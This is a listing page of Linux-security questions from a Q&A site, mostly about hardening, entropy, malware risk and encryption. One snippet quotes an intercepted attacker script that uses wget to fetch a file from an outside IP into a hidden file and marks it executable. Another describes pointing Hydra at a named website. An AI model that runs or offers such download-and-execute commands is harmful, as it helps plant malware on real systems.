Securing Linux systems and applications; understanding Linux security features.

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Snort 2.9.6.0 to detect malicious nfs traffic [migrated]

I have a snort inline mode IPS.I wanted this IPS to detect malicious nfs traffic.Can anyone please help me out to describe rules that catches the suspicious "nfs" traffic,not allowing it and allow the ...
10
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3answers
711 views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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2answers
93 views

Hydra https-form-post

I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives. This is what I have done so ...
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2answers
143 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
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1answer
101 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
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2answers
753 views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
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2answers
90 views

Debian missing security features?

Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
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1answer
116 views

Why does Debian security guide recommend md5 hashed passwords?

I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
2
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1answer
180 views

Bypass va_randomize_space and stack-protector

Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ...
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0answers
38 views

Fuzzing shared libraries

Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ? Can ...
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0answers
25 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
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1answer
58 views

Secure installation of KVM VPS?

This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
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2answers
102 views

Malware getting root access via “sudo” and “sudo -s”

Actually, I'd like to ask 3 questions. But since they are very related, I'll ask them all here. I use Ubuntu 12.04.4. Situation 1: I use Terminator, in one of its terminals I launch sudo iotop ...
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0answers
22 views

Tracking checkins from generic users

Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
1
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2answers
113 views

How big is the threat of Desktop Linux malware? [closed]

Most malware one hears about on the news seems to fit into one of two categories: Windows viruses, trojans, rootkits etc. Linux server "worms", backdoors and similar How big is the threat of ...
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2answers
998 views

Do Simple Linux Servers Really Need a Non-Root User For Security Reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
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2answers
86 views

Directory traversal & default filesystem permissions (755) for web server

I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...
2
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2answers
521 views

Alternatives to SELinux and AppArmor?

With SELinux developed by NSA and AppArmor by Novell [*], what alternate solutions exists when trying to lock down a system and running applications, based on ACL and similar concepts like Zones on ...
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3answers
3k views

Is it appropriate to use haveged as a source of entropy on virtual machines?

While looking for solutions to entropy pool depletion on virtual machines, I came across an interesting project called haveged, which is based on the HAVEGE algorithm (HArdware Volatile Entropy ...
2
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1answer
22 views

bin_random_table and RANDOM_BOOT_ID

The Linux kernel has a few sysctrl's related to random devices packaged in a bin_random_table (http://lxr.free-electrons.com/source/kernel/sysctl_binary.c?v=3.2): static const struct bin_table ...
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0answers
140 views

Linux Physical memory analysis using hexeditor for Forensics

I am about to forensics investigation of a linux physical memory. I have dumped an ARM Linux which the profile is not listed in Volatility, so I could find the process and the latest command using ...
1
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4answers
91 views

Why can't just any program use his own file-system-access-system?

This may sound stupid for everyone who knows more than me about the UNIX-System and security in software: Imagine you have a program trying to cause harm by deleting files. You just do something like ...
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1answer
46 views

ensuring that compiled (and signed) packages don't contain malicious code

I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the ...
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2answers
65 views

Proxy traffic via MITM script

I want to log and modify outbound traffic on a Linux machine. I currently have one program that sends requests out to the internet, I would like to process these requests and their responses via ...
4
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1answer
2k views

Benefits to BlackArch over Kali

Besides BlackArch having a cooler name and the whole Ubuntu vs. Arch Linux thing, what are the relative benefits of BlackArch over Kali? Are the tools broadly the same, or does one have better ...
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2answers
386 views

How secure is EncFS compared to TrueCrypt?

If I choose the paranoia option for EncFS and for TrueCrypt I create containers using the encryption algorithm AES-Twofish-Serpent and the Hash Algorithm Whirlpool. Are both methods equally secure, ...
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1answer
70 views

Removing Unnecessary Services & Packages in a MySQL Ubuntu 12.04 Server [closed]

As part of hardening a MySQL 5.6 server running on Ubuntu 12.04 LTS, unnecessary services and packages will have to be removed. For a server that is serving only as a MySQL server, what services and ...
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3answers
192 views

How to store user credentials like Mint.com [duplicate]

If you have a website that need to store user's credentials for other sites, how do you store those credentials securely? An example is Mint.com where you give them your username/password for your ...
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1answer
79 views

How can mp3blaster vulnerability affect my linux OS? [closed]

Mp3blaster is a terminal mp3 player running a UNIX-like operating system, e.g. Linux, Free/Net/OpenBSD, etc. I usually use this player for playing my music, but yesterday I found a blog which claim ...
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1answer
62 views

Malware threats from other mounted hard drives

I am going to install Linux on an external hard drive and my internal hard drive is currently running Windows. When I boot to my Linux and I still have my windows hard drive mounted is it possible for ...
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0answers
58 views

How do I determine whether a Linux-based router still has the default password? [duplicate]

My goal is to check if the password used by admin is the default password. I work on a Linux-based router. I know the password is stored as a hashed value in /etc/passwd. In generic Linux machines, ...
1
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1answer
21 views

Is there an other place than the changelogs to see if a debian package is corrected or not?

I would like to know if there was an other place to see if a debian package is fixing a CVE than the changelog of the packet. For instance the packet bind9 1:9.7.2.dfsg.P3-1 is fixing the ...
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0answers
17 views

How can we know which debian package correct which CVE

We can found on the debian's website CPE/Aliases List, CVE List related to packages. But I can't figure out where can we know which patch of packages correct which vulnerabilities ? For instance : ...
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2answers
244 views

Isolating host machine from external network

How to prevent a host machine from sending/receiving packets with the following network configuration: eth0 - physical NIC :: not configured; tun0 - virtual NIC for VM which role is the gateway for ...
1
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1answer
116 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
2
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1answer
92 views

DBus proxy Javascript binding issues

Recent Gnome-3 (under GNU/Linux, BSD or other Un*x) offer a gnome shell with nice presentation, but where the configuration and theming are to be done via Internet Browser (and a public URL, on a ...
0
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1answer
90 views

Do the Linux binary blobs contain any intentional security holes?

This question covers the risks of accepting Binary blobs in one's distribution. This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot ...
2
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2answers
117 views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
9
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4answers
457 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
0
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1answer
45 views

How can I view the contents of a web page without running malicious code? [closed]

I received a strange email which has some strange URL in it. I would like to know what is "behind" the url, but without the risk of running anything malicious. How can see the contents of the URL, ...
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3answers
132 views

Protecting against Firewire DMA vulnerabilities in Linux

I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant. I need to use a 1394(Firewire) connection, however am concerned with possible ...
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1answer
470 views

Cascading Encryption Algorithm using mcrypt or GnuGP

I'm trying to a cascading cipher encryption algorithm to encrypt a textfile via mcrypt. I'm essentially trying to emulate the behavior of TrueCrypt, where it can cascade two or three different cipher ...
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0answers
119 views

Tools to perform benchmark of block/stream ciphers on Linux? [closed]

I would like to perform some benchmarking of different block and stream ciphers for general data (lossless and lossy data) encryption and decryption (with focus on power consumption). To get general ...
21
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3answers
14k views

Simple example auditd configuration?

Auditd was recommended in an answer to Linux command logging? The default install on Ubuntu seems to barely log anything. There are several examples that come with it (capp.rules, nispom.rules, ...
1
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1answer
167 views

How do I find out if I'm connecting to a spoofed server after getting “The authenticity of host [hostname] can't be estabilished”?

I've been SSHing into my VPS for months with no problems and this morning it returned this familiar message: The authenticity of host '[hostname]' can't be established. ECDSA key fingerprint is ...
2
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2answers
225 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
9
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4answers
2k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
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2answers
4k views

Available Resources for Securing RHEL 6

Some in our infrastructure group want to upgrade to start taking advantage of the new features in RHEL 6. In the past, I have relied on the NSA Guide to secure RHEL 5 and CentOS 5 installations. I ...
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3answers
239 views

Best practice for accessing management port of firewall

I'm in the process of setting up a bunch of servers at the other end of the world (well, 8 hours travel time) in a colocation place. The servers and firewall all have a remote management port (KVM, ...
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5answers
2k views

How can I remotely wipe the contents of a Linux Laptop if its been stolen?

I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / ...